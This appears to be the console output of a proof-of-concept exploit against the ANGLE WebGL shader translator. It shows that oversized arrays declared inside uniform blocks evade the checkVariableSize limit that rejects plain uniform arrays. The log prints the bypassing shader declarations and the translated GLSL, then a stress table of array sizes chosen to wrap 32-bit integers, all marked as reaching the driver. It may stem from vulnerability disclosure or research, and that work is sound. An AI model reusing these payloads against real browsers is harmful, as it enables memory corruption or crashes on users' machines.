[POC] GL_RENDERER: WebKit WebGL [POC] UNMASKED_RENDERER: ANGLE (Mesa/X.org, llvmpipe (LLVM 15.0.6 256 bits), OpenGL 4.5) [POC] UNMASKED_VENDOR: Google Inc. (Mesa/X.org) [POC] [POC] [CONTROL] uniform mat4 m[67108864] (4 GiB, plain uniform array) [POC] compile status: FAIL [POC] info log: ERROR: 0:3: 'm' : Size of declared variable exceeds implementation-defined limit [POC] hit checkVariableSize: YES [POC] [POC] [BYPASS] uniform Huge { mat4 m[67108864]; } b (4 GiB, UBO) [POC] compile status: SUCCESS [POC] info log: (empty) [POC] hit checkVariableSize: NO [POC] [POC] [TRANSLATED] translated UBO shader length=196 [POC] *** translated source contains 67108864 -- oversized array reached backend *** [POC] --- translated source (head, 30 lines) --- [POC] #version 450 [POC] layout(std140) uniform _uHuge{ [POC] layout(column_major) mat4 _um[67108864]; [POC] } _ub; [POC] out vec4 _uc; [POC] void main(){ [POC] (_uc = vec4(0.0, 0.0, 0.0, 0.0)); [POC] (_uc = vec4(1.0, 1.0, 1.0, 1.0)); [POC] } [POC] [POC] --- end --- [POC] [POC] =================================================================== [POC] VERDICT: BYPASS CONFIRMED -- checkVariableSize() rejects the plain uniform but is NOT applied to the UBO. The 4 GiB UBO declaration passes the ANGLE translator and reaches the backend. [POC] =================================================================== [STRESS] UNMASKED_RENDERER: ANGLE (Mesa/X.org, llvmpipe (LLVM 15.0.6 256 bits), OpenGL 4.5) [STRESS] [STRESS] [PASS] mat4[67108864] = 4 GiB (uint32 wrap to 0) [STRESS] translated contains: [67108864] [STRESS] [PASS] mat4[33554432] = 2 GiB (int32 wrap negative) [STRESS] translated contains: [33554432] [STRESS] [PASS] mat4[33554431] = 2 GiB - 64 (just under int32 max) [STRESS] translated contains: [33554431] [STRESS] [PASS] vec4[134217728] = 2 GiB (int32 wrap, vec4 stride) [STRESS] translated contains: [134217728] [STRESS] [PASS] mat4[33554432] + vec4 trailer (cross-wrap layout) [STRESS] translated contains: [33554432] [STRESS] [PASS] mat4[2147483647] = 128 GiB (INT_MAX elements) [STRESS] translated contains: [2147483647] [STRESS] [PASS] mat4[67108864] referenced (b.m[0]) [STRESS] translated contains: [67108864] [STRESS] [STRESS] All UBO declarations bypassed checkVariableSize and reached the driver.